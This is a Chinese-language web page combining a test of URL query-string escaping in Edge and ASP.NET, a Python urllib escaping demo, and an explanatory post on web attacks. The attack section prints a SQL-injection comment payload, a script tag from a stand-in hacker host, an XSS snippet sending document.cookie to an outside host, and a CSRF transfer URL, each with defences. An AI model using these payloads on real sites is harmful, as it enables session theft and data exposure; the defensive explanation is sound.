rl查詢字符串中的轉義,眾所周知,url中的轉義是百分號轉義。很多人都只知道一個大概,很少有人能精確說出哪個字符轉義,哪個字符不轉義。這篇文章從新版edge瀏覽器發射的請求,url查詢字符串中,字符的轉義情況。
發射的客戶端,查詢字符串代碼為:
`?${char}=${printcode}`
char是未轉義的字符,printcode是整數,表達為十六進制。例如!感嘆號發送請求,將會是:
"?!=21"
服務器端,我們測試ASP.NET的接收情況,其代碼是:
_logger.LogInformation("{0}{1}",
this.Request.QueryString.Value,
stringify(this.Request.Query)
)
輸出的第一部分是服務器端接收到請求的escaped字符串。第二部分是Query解析后的鍵值對。stringify是將其序列化的函數,細節忽略。
很明顯,不可打印的非控制字符將會百分號轉義。非ascii字符也會被百分號轉義。我們測試可打印ascii字符(32~127)的轉義情況。
和我們預想的一樣,數字和字母,不轉義:
?0=30["0","30"]
...
?9=39["9","39"]
?A=41["A","41"]
...
?Z=5A["Z","5A"]
?a=61["a","61"]
...
?z=7A["z","7A"]
其他不轉義的符號有:
?!=21["!","21"]
?$=24["$","24"]
?(=28["(","28"]
?)=29[")","29"]
?*=2A["*","2A"]
?,=2C[",","2C"]
?-=2D["-","2D"]
?.=2E[".","2E"]
?/=2F["/","2F"]
?:=3A[":","3A"]
?;=3B[";","3B"]
??=3F["?","3F"]
?@=40["@","40"]
?[=5B["[","5B"]
?\=5C["\\","5C"]
?]=5D["]","5D"]
?^=5E["^","5E"]
?_=5F["_","5F"]
?`=60["`","60"]
?{=7B["{","7B"]
?|=7C["|","7C"]
?}=7D["}","7D"]
?~=7E["~","7E"]
下面這些是字符有特定的用途,瀏覽器不會自動轉義,如表示原義需要手工轉義,避免服務器解釋錯誤:
?[]//#23:#表示查詢字符串的結束,所以查詢字符串只有一個問號
?%=25["%","25"] //表示百分號編碼的關鍵字
?&=26["","26"] //鍵值對的分隔符
?+=2B[" ","2B"] //被Query解析為空格
?==3D["","=3D"] //鍵與值的分隔符
下面這些是可以自動被瀏覽器百分號轉義的字符:
?%20=20[" ","20"]
?%22=22["\"","22"]
?%27=27["'","27"]
?%3C=3C["<","3C"]
?%3E=3E[">","3E"]
?%7F=7F["\u007F","7F"]
URL轉義規則一直在不斷變化,對于新版本升級,我們需要不斷地進行回歸測試。
使用爬蟲時經常遇到各種需要轉義的地方,總結了各種轉義的方式分享給大家
代碼如下:
# -*- coding:utf-8 -*-
import html
from urllib.parse import urlparse
from urllib.parse import urljoin
from urllib.parse import urlencode, parse_qs, parse_qsl
from urllib.parse import quote, unquote
__author__='Evan'
print('返回一個ParseResult類型的對象: ', urlparse('http://www.baidu.com/index.html;user?id=5#comment'))
print('合并兩個字符串組合成一個完整的URL: ', urljoin('http://www.baidu.com', 'index.html'))
params={
'name': 'Evan',
'id': '77'
}
print('將字典序列化為Get請求參數: ', 'http://www.baidu.com?' + urlencode(params))
print('將Get請求參數反序列化為字典: ', parse_qs('http://www.baidu.com?name=Evan&id=77'))
print('將Get請求參數反序列化為列表: ', parse_qsl('http://www.baidu.com?name=Evan&id=77'))
print('將中文轉化為URL編碼: ', 'http://www.baidu.com?' + quote('年齡'))
print('將URL編碼轉化為中文: ', unquote('http://www.baidu.com?%E5%B9%B4%E9%BE%84'))
print('HTML格式反轉義成字符: ', html.unescape('https://127.0.0.1/report'))
執行結果:
返回一個ParseResult類型的對象: ParseResult(scheme='http', netloc='www.baidu.com', path='/index.html', params='user', query='id=5', fragment='comment')
合并兩個字符串組合成一個完整的URL: http://www.baidu.com/index.html
將字典序列化為Get請求參數: http://www.baidu.com?name=Evan&id=77
將Get請求參數反序列化為字典: {'http://www.baidu.com?name': ['Evan'], 'id': ['77']}
將Get請求參數反序列化為列表: [('http://www.baidu.com?name', 'Evan'), ('id', '77')]
將中文轉化為URL編碼: http://www.baidu.com?%E5%B9%B4%E9%BE%84
將URL編碼轉化為中文: http://www.baidu.com?年齡
HTML格式反轉義成字符: https://127.0.0.1/report
文作者:上海駐云開發總監 陳昂
上篇給大家帶來的是關于瀏覽器基本工作原理的總結和介紹,這篇文章重點給大家說明有哪些常見WEB攻擊。
常見WEB攻擊
互聯網是個面向全世界的開放平臺,越是開放的東西漏洞就越是多。有人曾維護了一個列表,上面有上百種的WEB攻擊方式。我們常見的有:腳本注入、SQL注入、DDoS、DNS劫持、端口漏洞掃描、密碼暴力破解、XSS、CSRF等。這里只挑一些常見的攻擊做個介紹:
SQL注入
現在的網站很多都不再是純粹的靜態網站,例如一些CMS網站、交易網站、p2p/p2c網站、大型的系統等。 這些網站都選擇PHP、.Net、 Java、 ROR、 Python、NodeJS等編程語言搭建網站的后臺,也會選擇Mysql、 Oracle、SQL Server等數據庫來存儲數據。SQL注入就是針對的這樣的網站發起的攻擊。假如有一個列表頁面,請求URL是這樣的:https://xxx.xxx/list.php?q=finished
通過這個url可以獲取這個用戶列表下面所有已經完成的訂單。那么我們可以猜想這樣的頁面后端對應的程序是這樣寫的:$sql=‘select * from orders where status=\’’ . status. ‘\’ and userId=\‘’ . userId;
語句本身沒有什么問題,后面加上了過濾條件userId只能獲取這個用戶自己的訂單。可是,如果我們這樣發起請求:https://xxx.xxx/list.php?q=finished‘--
最終拼接后的語句可能就變成了這個樣子:select * from orders where status=‘finished’—and userId=’xxxx’;
由于“—”在數據庫里面起到的注釋作用,所以“and userId=’xxxx’” 這個過濾條件是不會起作用的。這個語句執行的效果就是黑客獲取了這個網站所有已經完成的訂單數據。
這里只是舉一個簡單的例子,關于Sql注入,有興趣的朋友可以google一把。
防范sql注入其實也很簡單:
做好參數檢驗。
sql傳參的地方一定要做sql escape,對sql敏感字符進行轉義。
不要直接拼接字符串。
腳本注入
腳本注入只是個表現形式,例如你的網頁中出現了一段莫名的腳本:<script src=”http://hacker.test/hack.js”></script>,這就是一個典型的腳本注入。但是注入的方式就有很多了,有的是直接獲取了服務器的權限,修改了網頁;有的是利用Sql注入技術注入了腳本;還有的是利用網頁交互漏洞注入的腳本。甚至有人開發出了腳本注入漏洞掃描和Sql漏洞注入掃描自動機掃描互聯網上的網站漏洞。
利用腳本注入這樣的方式,黑客可以做很多很多事情:掛馬,修改頁面內容,將客戶跳轉到指定的網站,流量導入,信息收集等。
XSS跨站腳本攻擊
嚴格來說XSS應該屬于腳本注入的一種方式,只是因為XSS這種方式可以快速輕易的注入腳本而使得它非常流行。舉個簡單的例子:
有一個網站支持評論和回復,有人在評論框內輸入了這么一段腳本:
<script>
var i=document.createElement(‘img’);
i.setAttribute(‘src’, ‘http://attach.com/x.js?c=’+document.cookie);
document.body.appendChild(i);
</script>
提交后,當別人打開這個頁面查看這個評論的時候,攻擊的網站就獲取到了這個人所有cookie信息(包括session id),然后在通過腳本加載cookie后進行所有被攻擊者所具有權限的操作。
防范腳本注入和XSS攻擊我們應該做到基本工作是:
服務器只開放必要的端口:如80、443、22等
參數校驗
頁面提交的內容一定要做HTML Escape 轉義
URL上提交的內容要做URL Encode 轉義
登錄注冊入口做好人機識別(驗證碼等)
CSRF跨站請求偽造
很多人對XSS和CSRF是傻傻分不清楚的。首先常見的XSS攻擊的對象是網站本身,通過注入網頁的方式,獲取用戶信息。而CSRF就非常聰明了,直接繞過了注入這一步,甚至黑客不需要獲取用戶的Cookie信息,直奔主題。
CSRF攻擊方式早幾年并不為大家所熟知,實際上很多網站都存在CSRF的安全漏洞。早在2000年,CSRF這種攻擊方式已經由國外的安全人員提出,但在國內,直到2006年才開始被關注。2008年,國內外多個大型社區和交互網站先后爆出CSRF漏洞,如:百度HI、NYTimes.com(紐約時報)、Metafilter(一個大型的BLOG網站)和YouTube等。但直到現在,互聯網上的許多站點仍對此毫無防備,以至于安全業界稱CSRF為“沉睡的巨人”,其威脅程度由此“美譽”便可見一斑。
那么,我們先來看一下CSRF的攻擊原理吧:
如果圖中的流程看的不是太明白,那么我們來看一個例子(摘抄自網絡):
受害者 Bob 在銀行有一筆存款,通過對銀行的網站發送請求: http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款轉到 bob2 的賬號下。通常情況下,該請求發送到網站后,服務器會先驗證該請求是否來自一個合法的 session,并且該session 的用戶 Bob 已經成功登陸。
黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進行轉帳操作。Mallory 可以自己發送一個請求給銀行: http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory但是這個請求來自 Mallory 而非 Bob,他不能通過安全認證,因此該請求不會起作用。這時,Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個網站,在網站中放入如下代碼:src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”,并且通過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時,上述 url 就會從 Bob 的瀏覽器發向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發向銀行服務器。
大多數情況下,該請求會失敗,因為他要求 Bob 的認證信息。但是,如果 Bob 當時恰巧剛訪問他的銀行后不久,他的瀏覽器與銀行網站之間的 session 尚未過期,瀏覽器的cookie 之中含有 Bob 的認證信息。這時,悲劇發生了,這個 url 請求就會得到響應,錢將從 Bob 的賬號轉移到 Mallory 的賬號,而 Bob 當時毫不知情。等以后 Bob 發現賬戶錢少了,即使他去銀行查詢日志,他也只能發現確實有一個來自于他本人的合法請求轉移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢后逍遙法外。
目前業界服務器端防御CSRF攻擊主要有以下幾種策略:
驗證HTTP Referer字段
正確使用GET
在請求地址中添加token并驗證
在HTTP頭中自定義屬性并驗證。
表單偽隨機數
驗證HTTPReferer字段
Referer 是HTTP協議定義的一個頭字段,它記錄了該HTTP請求的來源地址。通過Referer就可以簡單的區分出這次請求是來自哪里,并做到基本的防范。
但Referer畢竟是由請求者發起的,如果你用的是IE6瀏覽器(鄙視下IE),依然是可以偽造的。
正確使用GET
GET常用在查看,列舉,展示等不需要改變資源屬性的時候。因為GET方式參數是直接呈現在url中的,很方便,但也很不安全。所以不要以GET方式開放不安全的接口。
在請求地址中添加token并驗證
在正確使用GET 的前提下,對于非GET請求,如POST,可以用在創建、修改、刪除資源或者做其他一些相對敏感的事情。而且需要為每一個用戶生成一個唯一的Token存放在Cookie或LocalStorage里面,并附帶在Post請求中。但是由于XSS可以輕易的獲取用戶的Cookie或Local Storage,這種方式也不是十分的安全。
在HTTP頭中自定義屬性并驗證
這種方法也是使用 token 并進行驗證,和上一種方法不同的是,這里并不是把 token 以參數的形式置于 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性里。通過 XMLHttpRequest 這個類,可以一次性給所有該類請求加上csrftoken這個 HTTP 頭屬性,并把 token 值放入其中。而且,通過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的地址欄,也不用擔心token 會透過 Referer 泄露到其他網站中去。
表單偽隨機數
不同的表單包含一個不同的偽隨機值。這種做法,其實在一些知名的開源WEB框架里面早就有了,如:PHP的Drupal,Python的Flask,只是國人安全意思太薄弱,太后知后覺了。偽隨機數的原理也很簡單:
當頁面表單生成的時候由后端服務生成偽隨機數放置在表單的隱藏域里面,并在后端緩存偽隨機數。
表單提交的時候后端服務器驗證偽隨機數的正確性和時效性,刪除緩存的偽隨機數。
這樣做不僅可以避免CSRF攻擊,同時可以避免表單的重復提交。
好了,關于瀏覽器工作原理和網絡安全就先聊這么多,拋磚引玉,還是建議大家自行Google,一定會有更加深入的發現。喜歡我們的話就趕緊訂閱我們吧~~~或者關注我們的微信公眾號:架構云專家頻道。每天新鮮干貨定時推送哦~
*請認真填寫需求信息,我們會在24小時內與您取得聯系。